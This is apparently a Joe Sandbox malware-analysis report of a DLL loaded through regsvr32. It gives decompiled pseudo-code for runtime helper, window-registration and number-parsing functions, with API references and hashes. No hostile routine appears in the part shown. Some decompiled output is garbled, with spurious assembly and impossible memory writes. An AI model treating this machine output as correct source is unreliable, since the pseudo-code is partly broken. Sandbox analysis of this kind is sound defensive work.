				E00007FFE7FFE354E1230(_t230, _v88, _a48);
				E00007FFE7FFE354E18F0(_t230, _a8);
				_v80 = _t230 + _a16 + _a24;
				E00007FFE7FFE354E18F0(_t230 + _a16 + _a24, _a8);
				E00007FFE7FFE354E1230(_t230 + _a16 + _a24 + _a16 + _a48, _v80, _v136);
				goto 0x354e3810;
				_t235 = _a16;
				if (_a40 - _t235 > 0) goto 0x354e360e;
				E00007FFE7FFE354E18F0(_t235, _a8);
				_t237 = _t235 + _a16 + _a24;
				_v72 = _t237;
				E00007FFE7FFE354E18F0(_t237, _a8);
				_t239 = _t237 + _a16 + _a48;
				E00007FFE7FFE354E1230(_t239, _v72, _v136);
				E00007FFE7FFE354E18F0(_t239, _a8);
				_v64 = _t239 + _a40;
				E00007FFE7FFE354E18F0(_t239 + _a40, _a8);
				E00007FFE7FFE354E1230(_t239 + _a40 + _a16, _v64, _a48);
				goto 0x354e3810;
				_t243 = _a16 + _a24;
				if (_t243 - _a40 > 0) goto 0x354e36eb;
				E00007FFE7FFE354E18F0(_t243, _a8);
				_t245 = _t243 + _a16 + _a24;
				_v56 = _t245;
				E00007FFE7FFE354E18F0(_t245, _a8);
				_t247 = _t245 + _a16 + _a48;
				E00007FFE7FFE354E1230(_t247, _v56, _v136);
				E00007FFE7FFE354E18F0(_t247, _a8);
				_t248 = _t247 + _a40 + _a48 - _a24;
				_v48 = _t248;
				E00007FFE7FFE354E18F0(_t248, _a8);
				_t249 = _t248 + _a16;
				E00007FFE7FFE354E1230(_t249, _v48, _a48);
				goto 0x354e3810;
				E00007FFE7FFE354E18F0(_t249, _a8);
				_t250 = _t249 + _a40;
				_v40 = _t250;
				E00007FFE7FFE354E18F0(_t250, _a8);
				_t251 = _t250 + _a16;
				E00007FFE7FFE354E1230(_t251, _v40, _a24);
				E00007FFE7FFE354E18F0(_t251, _a8);
				_v32 = _t251 + _a16 + _a24;
				E00007FFE7FFE354E18F0(_t251 + _a16 + _a24, _a8);
				E00007FFE7FFE354E1230(_t251 + _a16 + _a24 + _a16 + _a48, _v32, _v136);
				_t257 = _a48 - _a24;
				_v24 = _t257;
				E00007FFE7FFE354E18F0(_t257, _a8);
				_t259 = _t257 + _a40 + _a48;
				_v16 = _t257 + _a40 + _a48;
				E00007FFE7FFE354E18F0(_t257 + _a40 + _a48, _a8);
				E00007FFE7FFE354E1230(_t259 + _a16 + _a24, _v16, _v24);
				return E00007FFE7FFE354E23A0(_t259 + _a16 + _a24, _a8, _v128);
			}

APIs

Part of subcall function 00007FFE354E21F0: _Mtx_guard::~_Mtx_guard.LIBCPMTD ref: 00007FFE354E2217

Part of subcall function 00007FFE354E2170: Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FFE354E217E

_Mtx_guard::~_Mtx_guard.LIBCPMTD ref: 00007FFE354E3310
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E33A8
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E33C2
char_traits.LIBCPMTD ref: 00007FFE354E33E2
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E342C
char_traits.LIBCPMTD ref: 00007FFE354E3451
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E345E

Part of subcall function 00007FFE354E18D0: Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FFE354E18DE

Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E3478
char_traits.LIBCPMTD ref: 00007FFE354E3498
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E340A

Part of subcall function 00007FFE354E18F0: Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FFE354E18FE

Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E34C0
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E34DA
char_traits.LIBCPMTD ref: 00007FFE354E34FA
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E3507
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E3529
char_traits.LIBCPMTD ref: 00007FFE354E354E

Memory Dump Source

Source File: 00000003.00000002.256984797.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000003.00000002.256975911.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257084588.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257261203.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257269166.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257276134.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257283583.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffe354e0000_regsvr32.jbxd

Similarity

API ID: Concurrency::details::Work$Base::ContextIdentityQueue$char_traits$EmptyQueue::Structured$Mtx_guardMtx_guard::~_
String ID:
API String ID: 1550686663-0
Opcode ID: 6fddd8db350bc00e0fa7d7ec8e822f1350b5388c6aacc03662ae6e3237efefb8
Instruction ID: e7b4e70b2b191182ca9265f28d3c809f3b2eea6c54195e4329bcc406ac0ce416
Opcode Fuzzy Hash: 6fddd8db350bc00e0fa7d7ec8e822f1350b5388c6aacc03662ae6e3237efefb8
Instruction Fuzzy Hash: B9D1B676A1DBC281DA74DB55F8953AEB761FBC8F84F104126DA8E43B6ADF2CD0409B01

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354F3CB0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 97registrywindowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32 ref: 00007FFE354F3D39
RegisterTouchWindow.USER32 ref: 00007FFE354F3D5A
MessageBoxW.USER32 ref: 00007FFE354F3D7A

Strings

Cannot register application window for multi-touch input, xrefs: 00007FFE354F3D6E
Error, xrefs: 00007FFE354F3D67

Memory Dump Source

Source File: 00000003.00000002.256984797.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000003.00000002.256975911.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257084588.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257261203.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257269166.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257276134.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257283583.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffe354e0000_regsvr32.jbxd

Similarity

API ID: Window$CreateMessageRegisterTouch
String ID: Cannot register application window for multi-touch input$Error
API String ID: 490141109-480840240
Opcode ID: 84ab5ff6cfcc38e4e1d3a2e7420c273c9b72630a33a8e8b258941c1555e1b344
Instruction ID: be6d9fccacd186f94be69f9e10bf61d8890677e89408783e2dbf6c79c2383aa5
Opcode Fuzzy Hash: 84ab5ff6cfcc38e4e1d3a2e7420c273c9b72630a33a8e8b258941c1555e1b344
Instruction Fuzzy Hash: 38512879A08B4396E7648B15E84836A7BA0FF84F94F514536DA8E43774EF7CE044E740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354E2FC0 Relevance: 15.1, APIs: 10, Instructions: 117
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E00007FFE7FFE354E2FC0(void* __edx, void* __rax, long long __rcx, long long __rdx, long long __r8, long long __r9, long long _a8, long long _a16, long long _a24, long long _a32, long long _a40) {
				long long _v24;
				long long _v32;
				long long _v40;
				long long _v48;
				long long _v56;
				long long _v64;
				long long _v72;
				signed long long _t98;
				long long _t99;
				intOrPtr* _t101;
				intOrPtr* _t103;
				long long _t107;
				long long _t109;
				intOrPtr* _t111;
				intOrPtr _t116;
				long long _t118;

				_a32 = __r9;
				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				_t98 = E00007FFE7FFE354E2250(__rax, _a8, _a32) & 0x000000ff;
				if (_t98 == 0) goto 0x354e303c;
				E00007FFE7FFE354E18F0(_t98, _a8);
				_t99 = _a32 - _t98;
				_v64 = _a40;
				_v72 = _t99;
				E00007FFE7FFE354E3240(__edx, _t98, _t99, _a8, _a16, _a24, _a8);
				goto 0x354e3214;
				E00007FFE7FFE354E21F0(_t98, _t99, _a8, _a16);
				E00007FFE7FFE354E2400(_t98, _t99, _a8, _a16, _a24);
				_a24 = _t99;
				_t101 = 0xffffffff - _a40;
				_v40 = 0xffffffff;
				E00007FFE7FFE354E2170(_t101, _a8);
				_t103 =  *_t101 - _a24;
				if (_v40 - 0xffffffff > 0) goto 0x354e30aa;
				E00007FFE7FFE354E2230(_a8);
				E00007FFE7FFE354E2170(_t103, _a8);
				_v56 =  *_t103 - _a24 - _a16;
				_t107 = _a24;
				if (_a40 - _t107 >= 0) goto 0x354e3126;
				E00007FFE7FFE354E18F0(_t107, _a8);
				_t109 = _t107 + _a16 + _a24;
				_v32 = _t109;
				E00007FFE7FFE354E18F0(_t109, _a8);
				_t111 = _t109 + _a16 + _a40;
				E00007FFE7FFE354E1230(_t111, _v32, _v56);
				E00007FFE7FFE354E2170(_t111, _a8);
				_v48 =  *_t111 + _a40 - _a24;
				if (_a40 > 0) goto 0x354e3162;
				if (_a24 <= 0) goto 0x354e320f;
				r8d = 0;
				if ((E00007FFE7FFE354E22B0( *_t111 + _a40 - _a24, _a8, _v48) & 0x000000ff) == 0) goto 0x354e320f;
				_t116 = _a40;
				if (_a24 - _t116 >= 0) goto 0x354e31d9;
				E00007FFE7FFE354E18F0(_t116, _a8);
				_t118 = _t116 + _a16 + _a24;
				_v24 = _t118;
				E00007FFE7FFE354E18F0(_t118, _a8);
				_t120 = _t118 + _a16 + _a40;
				E00007FFE7FFE354E1230(_t118 + _a16 + _a40, _v24, _v56);
				E00007FFE7FFE354E18F0(_t118 + _a16 + _a40, _a8);
				E00007FFE7FFE354E11E0(_t120 + _a16, _a32, _a40);
				return E00007FFE7FFE354E23A0(_t120 + _a16, _a8, _v48);
			}

0x7ffe354e2fc0
0x7ffe354e2fc5
0x7ffe354e2fca
0x7ffe354e2fcf
0x7ffe354e2fea
0x7ffe354e2fef
0x7ffe354e2ff6
0x7ffe354e3006
0x7ffe354e3011
0x7ffe354e3016
0x7ffe354e3032
0x7ffe354e3037
0x7ffe354e3046
0x7ffe354e305d
0x7ffe354e3062
0x7ffe354e3071
0x7ffe354e3079
0x7ffe354e3083
0x7ffe354e3093
0x7ffe354e309e
0x7ffe354e30a5
0x7ffe354e30af
0x7ffe354e30c7
0x7ffe354e30cc
0x7ffe354e30dc
0x7ffe354e30e3
0x7ffe354e30ed
0x7ffe354e30f5
0x7ffe354e30ff
0x7ffe354e3109
0x7ffe354e3121
0x7ffe354e312b
0x7ffe354e3143
0x7ffe354e3151
0x7ffe354e315c
0x7ffe354e3162
0x7ffe354e3179
0x7ffe354e317f
0x7ffe354e318f
0x7ffe354e3196
0x7ffe354e31a0
0x7ffe354e31a8
0x7ffe354e31b2
0x7ffe354e31bc
0x7ffe354e31d4
0x7ffe354e31de
0x7ffe354e31fb
0x7ffe354e3218

APIs

Part of subcall function 00007FFE354E2250: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E226B
Part of subcall function 00007FFE354E2250: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E227C

Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E2FF6

Part of subcall function 00007FFE354E18F0: Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FFE354E18FE

Part of subcall function 00007FFE354E3240: _Mtx_guard::~_Mtx_guard.LIBCPMTD ref: 00007FFE354E3310
Part of subcall function 00007FFE354E3240: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E33A8
Part of subcall function 00007FFE354E3240: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E33C2
Part of subcall function 00007FFE354E3240: char_traits.LIBCPMTD ref: 00007FFE354E33E2

_Mtx_guard::~_Mtx_guard.LIBCPMTD ref: 00007FFE354E30A5
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E30E3
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E30FF
char_traits.LIBCPMTD ref: 00007FFE354E3121
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E3196
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E31B2
char_traits.LIBCPMTD ref: 00007FFE354E31D4
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E31DE
char_traits.LIBCPMTD ref: 00007FFE354E31FB

Memory Dump Source

Source File: 00000003.00000002.256984797.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000003.00000002.256975911.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257084588.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257261203.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257269166.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257276134.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257283583.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffe354e0000_regsvr32.jbxd

Similarity

API ID: Concurrency::details::Work$Base::ContextIdentityQueue$char_traits$Mtx_guardMtx_guard::~_$EmptyQueue::Structured
String ID:
API String ID: 4284633421-0
Opcode ID: f0975427a75d2d34f6acfc41e81dde88df83928edc9a6f38a481e59775bea447
Instruction ID: cca6e12dd6fab9c7141c2b39766a912541ce3ac084f711d4be6eb0356d18ffa5
Opcode Fuzzy Hash: f0975427a75d2d34f6acfc41e81dde88df83928edc9a6f38a481e59775bea447
Instruction Fuzzy Hash: 2751BF36A1CBC282DA54DB69E45536EA7A0FBC4F80F215126EBCE47B79DE2CD4419B00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354E893C Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 489
COMMON

Download Yara Rule

C-Code - Quality: 38%

			E00007FFE7FFE354E893C(long long* __rax, long long __rbx, long long __rcx, signed long long* __rdx, void* __r8, long long _a8, long long _a16, long long _a24) {
				signed short* _v64;
				long long _v68;
				long long _v72;
				long long _v76;
				long long _v80;
				long long _v84;
				long long _v88;
				long long _v92;
				long long _v96;
				long long _v100;
				long long _v104;
				long long _v108;
				long long _v112;
				long long _v116;
				long long _v120;
				long long _v124;
				long long _v128;
				long long _v132;
				long long _v136;
				long long _v140;
				long long _v144;
				intOrPtr _v148;
				void* _v152;
				long long _v160;
				long long _v168;
				void* __rsi;
				void* __rbp;
				signed short _t146;
				void* _t150;
				signed short _t151;
				signed char _t153;
				signed char _t154;
				signed char _t160;
				signed short _t163;
				signed short _t164;
				signed int _t165;
				signed short _t166;
				void* _t170;
				void* _t174;
				signed short** _t176;
				signed long long _t283;
				signed short* _t286;
				void* _t297;
				void* _t320;
				signed long long _t323;
				signed long long* _t324;
				long long* _t334;
				signed long long _t358;
				long long* _t384;
				long long* _t385;
				signed long long* _t386;
				void* _t387;
				signed long long _t388;
				signed long long _t391;
				signed short* _t399;
				signed short* _t400;
				signed short* _t401;
				signed long long _t402;
				long long _t403;
				intOrPtr _t404;

				_a24 = __rbx;
				_a8 = __rcx;
				_t401 =  *((intOrPtr*)(__rdx));
				r13d = 0;
				r14d = r8d;
				_v64 = _t401;
				_t386 = __rdx;
				if (_t401 != 0) goto 0x354e8987;
				E00007FFE7FFE354EB420(__rax);
				 *__rax = 0x16;
				E00007FFE7FFE354E9744();
				goto 0x354e89b9;
				if (r14d == 0) goto 0x354e89d1;
				if (__rax - 0x22 <= 0) goto 0x354e89d1;
				_v160 = __rcx;
				r9d = 0;
				 *((char*)(__rcx + 0x30)) = 1;
				r8d = 0;
				 *((long long*)(__rcx + 0x2c)) = 0x16;
				_v168 = _t403;
				_t146 = E00007FFE7FFE354E9674(__rax, __rbx, 0, 0, _t387, _t391, __r8);
				_t334 = _t386[1];
				if (_t334 == 0) goto 0x354e901d;
				 *_t334 =  *_t386;
				goto 0x354e901d;
				_t163 =  *_t401 & 0x0000ffff;
				 *0x00000000 =  &(_t401[1]);
				_t176 = r13d;
				if ( *((intOrPtr*)(_t334 + 0x28)) != r13b) goto 0x354e89fb;
				0x354e9140();
				goto 0x354e89fb;
				_t283 =  *_t386 + 2;
				 *_t386 = _t283;
				 *_t283 =  *_t283 + _t146;
				if (_t283 != 0) goto 0x354e89ee;
				_t388 =  !=  ? _t387 : _t387;
				if ((_t166 & _t146) != 0) goto 0x354e8a32;
				_t286 =  *_t386;
				 *_t386 =  &(_t286[1]);
				_a16 = 0xa70;
				asm("out 0xa, al");
				 *0xa66 =  *0xa66 + _t146;
				asm("lock or al, [eax]");
				 *0xE8CBB70F0000FF18 =  *((intOrPtr*)(0xe8cbb70f0000ff18)) + dil;
				_v144 = 0xb66;
				r8d = 0x660;
				_v140 = 0xb70;
				r9d = 0x302444c7000009e6;
				_v136 = 0xc66;
				r10d = 0x6f0;
				_v132 = 0xc70;
				r11d = 0x966;
				_v128 = 0xce6;
				_v124 = 0xcf0;
				_v120 = 0xd66;
				_v116 = 0xd70;
				_v112 = 0xe50;
				_v108 = 0xe5a;
				_v104 = 0xed0;
				_v100 = 0xeda;
				_v96 = 0xf20;
				_v92 = 0xf2a;
				_v88 = 0x1040;
				_v84 = 0x104a;
				_v80 = 0x17e0;
				_v76 = 0x17ea;
				_v72 = 0x1810;
				_v68 = 0xff1a;
				if ((r14d & 0xffffffef) != 0) goto 0x354e8da0;
				if (_t163 - _t166 < 0) goto 0x354e8cef;
				if (_t163 - 0x3a >= 0) goto 0x354e8b3e;
				goto 0x354e8cea;
				if (_t163 - _t174 >= 0) goto 0x354e8cdb;
				if (_t163 - r8w < 0) goto 0x354e8cef;
				dil = 0xc3;
				goto 0x354e8cea;
				if (_t163 - r10w < 0) goto 0x354e8cef;
				dil = 0xc3;
				goto 0x354e8cea;
				if (_t163 - r11w < 0) goto 0x354e8cef;
				dil = 0xc3;
				goto 0x354e8cea;
				if (_t163 - r9w < 0) goto 0x354e8cef;
				dil = 0xc3;
				_t150 = _t146 - r8d - r10d - r11d - r9d;
				goto 0x354e8cea;
				if (_t163 - _t150 < 0) goto 0x354e8cef;
				if (_t163 - _a16 >= 0) goto 0x354e8be3;
				goto 0x354e8cea;
				if (_t163 - _t166 < 0) goto 0x354e8cef;
				if (_t163 - _v148 < 0) goto 0x354e8b34;
				if (_t163 - _t166 < 0) goto 0x354e8cef;
				if (_t163 - _v140 < 0) goto 0x354e8b34;
				if (_t163 - _t166 < 0) goto 0x354e8cef;
				if (_t163 - _v132 < 0) goto 0x354e8b34;
				if (_t163 - _t166 < 0) goto 0x354e8cef;
				if (_t163 - _v124 < 0) goto 0x354e8b34;
				if (_t163 - _t166 < 0) goto 0x354e8cef;
				if (_t163 - _v116 < 0) goto 0x354e8b34;
				if (_t163 - _t166 < 0) goto 0x354e8cef;
				if (_t163 - _v108 < 0) goto 0x354e8b34;
				if (_t163 - _t166 < 0) goto 0x354e8cef;
				if (_t163 - _v100 < 0) goto 0x354e8b34;
				if (_t163 - _t166 < 0) goto 0x354e8cef;
				if (_t163 - _v92 < 0) goto 0x354e8b34;
				if (_t163 - _t166 < 0) goto 0x354e8cef;
				if (_t163 - _v84 < 0) goto 0x354e8b34;
				if (_t163 - _t166 < 0) goto 0x354e8cef;
				if (_t163 - _v76 < 0) goto 0x354e8b34;
				_t151 = _t150 - _t166;
				if (_t151 - 9 > 0) goto 0x354e8cef;
				goto 0x354e8b34;
				if (_t163 - _v68 >= 0) goto 0x354e8cef;
				if ((_t163 & 0x0000ffff) - 0x8 != 0xffffffff) goto 0x354e8d11;
				_t356 = _t163 & 0x0000ffff;
				_t64 = _t356 - 0x41; // -17
				_t65 = _t356 - 0x61; // -49
				_t297 = _t65;
				if (_t64 - 0x19 <= 0) goto 0x354e8d06;
				if (_t297 - 0x19 > 0) goto 0x354e8d91;
				if (_t297 - 0x19 > 0) goto 0x354e8d0e;
				_t66 = (_t163 & 0x0000ffff) + 0xffffffe0 - 0x37; // -231
				if (_t66 != 0) goto 0x354e8d91;
				_t358 =  *_t386;
				r9d = 0xffdf;
				_t67 = _t358 + 2; // 0xffe1
				_t399 = _t67;
				 *_t386 = _t399;
				if ((r9w & _t151) == 0) goto 0x354e8d79;
				 *_t386 = _t358;
				r14d = _t151;
				if (_t174 == 0) goto 0x354e8d71;
				if ( *_t358 == _t174) goto 0x354e8d71;
				E00007FFE7FFE354EB420(0x8);
				 *0x8 = 0x16;
				_t153 = E00007FFE7FFE354E9744();
				r8d = 0x660;
				r10d = 0x6f0;
				r11d = 0x966;
				goto 0x354e8da0;
				r8d = 0x660;
				goto 0x354e8da0;
				_t164 =  *_t399 & 0x0000ffff;
				_t71 =  &(_t399[1]); // 0xffe3
				 *_t386 = _t71;
				r8d = 0x660;
				 *0x10 =  *0x10 + _t153;
				 *((intOrPtr*)(_t391 - 0x7b)) =  *((intOrPtr*)(_t391 - 0x7b)) + _t153;
				 *((char*)(( *_t286 & 0x0000ffff) + _t358 * 4 - 0x10)) = 0x33;
				asm("rol byte [ebx-0x8be0038], cl");
				 *0x10 =  *0x10 + _t153;
				 *((intOrPtr*)(_t358 - 0x41)) =  *((intOrPtr*)(_t358 - 0x41)) + _t153;
				asm("adc bh, bh");
				 *0x10 =  *0x10 + _t153;
				r9d = _t153;
				if (_t164 - r12w < 0) goto 0x354e8f70;
				if (_t164 - 0x3a >= 0) goto 0x354e8dd2;
				goto 0x354e8f6b;
				if (_t164 - r15w >= 0) goto 0x354e8f5b;
				if (_t164 - r8w < 0) goto 0x354e8f70;
				dil = 0xcb;
				goto 0x354e8f6b;
				if (_t164 - r10w < 0) goto 0x354e8f70;
				dil = 0xcb;
				goto 0x354e8f6b;
				if (_t164 - r11w < 0) goto 0x354e8f70;
				dil = 0xcb;
				_t170 = _t166 - r12d - r8d - r10d - r11d;
				goto 0x354e8f6b;
				asm("sub byte [ecx], 0x1");
				 *0x9e6 =  *0x9e6 + 0x9e6;
				 *((intOrPtr*)(_t391 + 0x3b660a48)) =  *((intOrPtr*)(_t391 + 0x3b660a48)) + _t170;
				asm("fnstenv [ebx+0xa]");
				goto 0x354e8f6b;
				asm("or byte [ecx], 0x1");
				 *0xa66 =  *0xa66 + 0xa66;
				 *((intOrPtr*)(_t388 + 0x3b)) =  *((intOrPtr*)(_t388 + 0x3b)) + spl;
				asm("pushfd");
				_t154 = _t153 & 0x000000d8;
				 *0xa66 =  *0xa66 + _t154;
				 *((intOrPtr*)(( *_t358 & 0x0000ffff) - 0x22)) =  *((intOrPtr*)(( *_t358 & 0x0000ffff) - 0x22)) + sil;
				if (_t164 - _t154 < 0) goto 0x354e8f70;
				if (_t164 - _v148 < 0) goto 0x354e8e4f;
				if (_t164 - _t154 < 0) goto 0x354e8f70;
				if (_t164 - _v140 < 0) goto 0x354e8e4f;
				if (_t164 - _t154 < 0) goto 0x354e8f70;
				if (_t164 - _v132 < 0) goto 0x354e8e4f;
				if (_t164 - _t154 < 0) goto 0x354e8f70;
				if (_t164 - _v124 < 0) goto 0x354e8e4f;
				if (_t164 - _t154 < 0) goto 0x354e8f70;
				if (_t164 - _v116 < 0) goto 0x354e8e4f;
				if (_t164 - _t154 < 0) goto 0x354e8f70;
				if (_t164 - _v108 < 0) goto 0x354e8e4f;
				if (_t164 - _t154 < 0) goto 0x354e8f70;
				if (_t164 - _v100 < 0) goto 0x354e8e4f;
				if (_t164 - _t154 < 0) goto 0x354e8f70;
				if (_t164 - _v92 < 0) goto 0x354e8e4f;
				if (_t164 - _t154 < 0) goto 0x354e8f70;
				if (_t164 - _v84 < 0) goto 0x354e8e4f;
				if (_t164 - _t154 < 0) goto 0x354e8f70;
				if (_t164 - _v76 < 0) goto 0x354e8e4f;
				if (_t154 - _t174 - 9 > 0) goto 0x354e8f70;
				goto 0x354e8f6b;
				if (_t164 - _v68 >= 0) goto 0x354e8f70;
				if ((_t164 & 0x0000ffff) != 0xffffffff) goto 0x354e8f93;
				_t368 = _t164 & 0x0000ffff;
				_t113 = _t368 - 0x41; // -65
				_t114 = _t368 - 0x61; // -97
				_t320 = _t114;
				if (_t113 - 0x19 <= 0) goto 0x354e8f83;
				if (_t320 - 0x19 > 0) goto 0x354e8f90;
				if (_t320 - 0x19 > 0) goto 0x354e8f8b;
				goto 0x354e8f93;
				_t400 =  *_t386;
				if (_t170 - r15d - r14d >= 0) goto 0x354e8fd7;
				_t165 =  *_t400 & 0x0000ffff;
				_t120 =  &(_t400[1]); // 0x2
				r8d = 0x660;
				 *_t386 = _t120;
				goto 0x354e8db7;
				_t404 = _a8;
				_t122 = _t400 - 2; // -2
				_t323 = _t122;
				_t402 = _v64;
				 *_t386 = _t323;
				if (_t165 == 0) goto 0x354e9008;
				if ( *_t323 == _t165) goto 0x354e9008;
				E00007FFE7FFE354EB420(_t323);
				 *_t323 = 0x16;
				_t160 = E00007FFE7FFE354E9744();
				if ((sil & 0x00000008) != 0) goto 0x354e9024;
				_t324 = _t386[1];
				 *_t386 = _t402;
				if (_t324 == 0) goto 0x354e901d;
				 *_t324 = _t402;
				goto 0x354e90a8;
				r8d = 0x80000000;
				_t127 = _t400 - 1; // -1
				r9d = _t127;
				if ((sil & 0x00000004) != 0) goto 0x354e904c;
				if ((sil & 0x00000001) == 0) goto 0x354e908f;
				if ((sil & 0x00000002) == 0) goto 0x354e9047;
				if (_t176 - r8d <= 0) goto 0x354e9095;
				goto 0x354e904c;
				if (_t176 - r9d <= 0) goto 0x354e9097;
				 *((char*)(_t404 + 0x30)) = 1;
				 *((intOrPtr*)(_t404 + 0x2c)) = 0x22;
				if ((_t160 & 0x00000001) != 0) goto 0x354e9067;
				goto 0x354e9097;
				_t384 = _t386[1];
				if (((_t388 | ((_t164 & 0x0000ffff) + 0xffffffffffffffa9 | 0xffffffff | _t391) << 0x00000002 | 0x00000008) & 0x00000002) == 0) goto 0x354e907f;
				if (_t384 == 0) goto 0x354e907a;
				 *_t384 =  *_t386;
				goto 0x354e90a8;
				if (_t384 == 0) goto 0x354e908a;
				 *_t384 =  *_t386;
				goto 0x354e90a8;
				if ((sil & 0x00000002) == 0) goto 0x354e9097;
				_t385 = _t386[1];
				if (_t385 == 0) goto 0x354e90a6;
				 *_t385 =  *_t386;
				return r9d;
			}

0x7ffe354e893c
0x7ffe354e8941
0x7ffe354e8958
0x7ffe354e895b
0x7ffe354e8962
0x7ffe354e8965
0x7ffe354e896d
0x7ffe354e8973
0x7ffe354e8975
0x7ffe354e897a
0x7ffe354e8980
0x7ffe354e8985
0x7ffe354e898a
0x7ffe354e8993
0x7ffe354e8995
0x7ffe354e899a
0x7ffe354e899d
0x7ffe354e89a1
0x7ffe354e89a4
0x7ffe354e89af
0x7ffe354e89b4
0x7ffe354e89b9
0x7ffe354e89c0
0x7ffe354e89c9
0x7ffe354e89cc
0x7ffe354e89d1
0x7ffe354e89db
0x7ffe354e89de
0x7ffe354e89e5
0x7ffe354e89e7
0x7ffe354e89ec
0x7ffe354e89f4
0x7ffe354e89f8
0x7ffe354e8a06
0x7ffe354e8a0a
0x7ffe354e8a1a
0x7ffe354e8a23
0x7ffe354e8a25
0x7ffe354e8a2f
0x7ffe354e8a32
0x7ffe354e8a46
0x7ffe354e8a48
0x7ffe354e8a53
0x7ffe354e8a56
0x7ffe354e8a5c
0x7ffe354e8a64
0x7ffe354e8a6a
0x7ffe354e8a72
0x7ffe354e8a76
0x7ffe354e8a7e
0x7ffe354e8a84
0x7ffe354e8a8c
0x7ffe354e8a92
0x7ffe354e8a9a
0x7ffe354e8aa2
0x7ffe354e8aaa
0x7ffe354e8ab2
0x7ffe354e8aba
0x7ffe354e8ac2
0x7ffe354e8aca
0x7ffe354e8ad2
0x7ffe354e8ada
0x7ffe354e8ae2
0x7ffe354e8aea
0x7ffe354e8af2
0x7ffe354e8afa
0x7ffe354e8b02
0x7ffe354e8b0d
0x7ffe354e8b1f
0x7ffe354e8b28
0x7ffe354e8b32
0x7ffe354e8b39
0x7ffe354e8b41
0x7ffe354e8b4b
0x7ffe354e8b5c
0x7ffe354e8b61
0x7ffe354e8b6a
0x7ffe354e8b7b
0x7ffe354e8b80
0x7ffe354e8b89
0x7ffe354e8b9a
0x7ffe354e8b9f
0x7ffe354e8ba8
0x7ffe354e8bb9
0x7ffe354e8bbb
0x7ffe354e8bbe
0x7ffe354e8bc6
0x7ffe354e8bd4
0x7ffe354e8bde
0x7ffe354e8bea
0x7ffe354e8bf5
0x7ffe354e8c02
0x7ffe354e8c0d
0x7ffe354e8c1a
0x7ffe354e8c25
